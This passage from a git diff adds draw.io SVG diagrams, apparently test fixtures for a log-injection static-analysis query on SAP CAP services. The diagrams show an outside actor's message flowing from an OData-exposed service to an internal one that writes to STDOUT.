+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1.on("send1")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="313" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service1.on("send1")</text>
+            </switch>
+        </g>
+        <rect x="453" y="140" width="235" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="473" y="170" width="205" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="617" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 652px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="652" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service2</text>
+            </switch>
+        </g>
+        <rect x="487" y="80" width="120" height="40" rx="6" ry="6" fill="#fc0356"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="502" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 547px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="547" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send2</text>
+            </switch>
+        </g>
+        <path d="M 547 120 L 547 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 547 198.88 L 543.5 191.88 L 547 193.63 L 550.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="488" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 489px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="548" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 613px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.on("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="613" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.on("send2")</text>
+            </switch>
+        </g>
+        <path d="M 548 260 L 548 323.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 548 328.88 L 544.5 321.88 L 548 323.63 L 551.5 321.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="498" y="330" width="100" height="40" rx="6" ry="6" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 350px; margin-left: 499px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                STDOUT</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="353" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">STDOUT</text>
+            </switch>
+        </g>
+        <path d="M 243 260 L 243 350 L 418 350 L 418 60 L 547 60 L 547 72.13" fill="none"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke" />
+        <path d="M 547 78.88 L 542.5 69.88 L 547 72.13 L 551.5 69.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="262" y="320" width="140" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 332px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.send("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="332" y="338" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.send("send2")</text>
+            </switch>
+        </g>
+        <rect x="0" y="50" width="100" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 70px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">Internal
+                                only</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="50" y="74" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Internal only</text>
+            </switch>
+        </g>
+        <path d="M 547 30 L 547 73.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 547 78.88 L 543.5 71.88 L 547 73.63 L 550.5 71.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="503" y="5" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 20px; margin-left: 548px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">Outside
+                                actor</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="24" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Outside actor</text>
+            </switch>
+        </g>
+    </g>
+    <switch>
+        <g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" />
+        <a transform="translate(0,-5)"
+            xlink:href="https://www.diagrams.net/doc/faq/svg-export-text-problems" target="_blank">
+            <text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot
+                display</text>
+        </a>
+    </switch>
+</svg>
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.svg b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.svg
new file mode 100644
index 000000000..4020fb6a0
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.svg
@@ -0,0 +1,316 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"
+    width="689px" viewBox="-0.5 -0.5 689 371"
+    content="&lt;mxfile&gt;&lt;diagram id=&quot;8rw6_X1oGD0vQjmQSmuI&quot; name=&quot;Page-1&quot;&gt;&lt;mxGraphModel dx=&quot;577&quot; dy=&quot;371&quot; grid=&quot;1&quot; gridSize=&quot;10&quot; guides=&quot;1&quot; tooltips=&quot;1&quot; connect=&quot;1&quot; arrows=&quot;1&quot; fold=&quot;1&quot; page=&quot;1&quot; pageScale=&quot;1&quot; pageWidth=&quot;850&quot; pageHeight=&quot;1100&quot; math=&quot;0&quot; shadow=&quot;0&quot;&gt;&lt;root&gt;&lt;mxCell id=&quot;0&quot;/&gt;&lt;mxCell id=&quot;1&quot; parent=&quot;0&quot;/&gt;&lt;mxCell id=&quot;3&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;168&quot; y=&quot;170&quot; width=&quot;240&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;5&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;188&quot; y=&quot;200&quot; width=&quot;210&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;6&quot; value=&quot;Service1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;338&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;8&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;7&quot; value=&quot;action: send1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;218&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;10&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;11&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;12&quot; value=&quot;OData exposed&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;30&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;36&quot; value=&quot;&quot; style=&quot;edgeStyle=none;html=1;fontSize=11;&quot; parent=&quot;1&quot; source=&quot;13&quot; target=&quot;11&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry relative=&quot;1&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;13&quot; value=&quot;Service1.on(&amp;quot;send1&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;268&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;22&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;473&quot; y=&quot;170&quot; width=&quot;235&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;23&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;493&quot; y=&quot;200&quot; width=&quot;205&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;24&quot; value=&quot;Service2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;637&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;25&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;507&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;26&quot; value=&quot;action: send2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;522&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;27&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;28&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;508&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;29&quot; value=&quot;Service2.on(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;568&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;30&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;fontSize=11;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;360&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;33&quot; value=&quot;STDOUT&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;518&quot; y=&quot;360&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;34&quot; value=&quot;&quot; style=&quot;edgeStyle=segmentEdgeStyle;endArrow=classic;html=1;curved=0;rounded=0;endSize=8;startSize=8;sourcePerimeterSpacing=0;targetPerimeterSpacing=0;fontSize=11;entryX=0.5;entryY=0;entryDx=0;entryDy=0;exitX=0.5;exitY=1;exitDx=0;exitDy=0;&quot; parent=&quot;1&quot; source=&quot;11&quot; target=&quot;25&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;268&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;566&quot; y=&quot;100&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;90&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;90&quot;/&gt;&lt;/Array&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;35&quot; value=&quot;Service2.send(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;282&quot; y=&quot;350&quot; width=&quot;140&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;RCpADzFrx02nEt8xdn7a-36&quot; value=&quot;Internal only&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;80&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;37&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; edge=&quot;1&quot; parent=&quot;1&quot; source=&quot;38&quot; target=&quot;8&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;70&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;360&quot; y=&quot;60&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;38&quot; value=&quot;Outside actor&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; vertex=&quot;1&quot; parent=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;218&quot; y=&quot;37&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;/root&gt;&lt;/mxGraphModel&gt;&lt;/diagram&gt;&lt;/mxfile&gt;"
+    onclick="(function(svg){var src=window.event.target||window.event.srcElement;while (src!=null&amp;&amp;src.nodeName.toLowerCase()!='a'){src=src.parentNode;}if(src==null){if(svg.wnd!=null&amp;&amp;!svg.wnd.closed){svg.wnd.focus();}else{var r=function(evt){if(evt.data=='ready'&amp;&amp;evt.source==svg.wnd){svg.wnd.postMessage(decodeURIComponent(svg.getAttribute('content')),'*');window.removeEventListener('message',r);}};window.addEventListener('message',r);svg.wnd=window.open('https://viewer.diagrams.net/?client=1&amp;page=0&amp;edit=_blank');}}})(this);"
+    style="cursor:pointer;max-width:100%;max-height:371px;">
+    <defs />
+    <g>
+        <rect x="148" y="140" width="240" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="168" y="170" width="210" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="318" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 353px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="353" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service1</text>
+            </switch>
+        </g>
+        <rect x="183" y="80" width="120" height="40" rx="6" ry="6" fill="#fc0356"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="198" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 243px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send1</text>
+            </switch>
+        </g>
+        <path d="M 243 120 L 243 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 243 198.88 L 239.5 191.88 L 243 193.63 L 246.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="183" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 184px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="0" y="0" width="100" height="40" rx="6" ry="6" fill="#fc0356" stroke="rgb(0, 0, 0)"
+            pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 20px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">OData
+                                exposed</div>
+                        </div>
+                    </div>
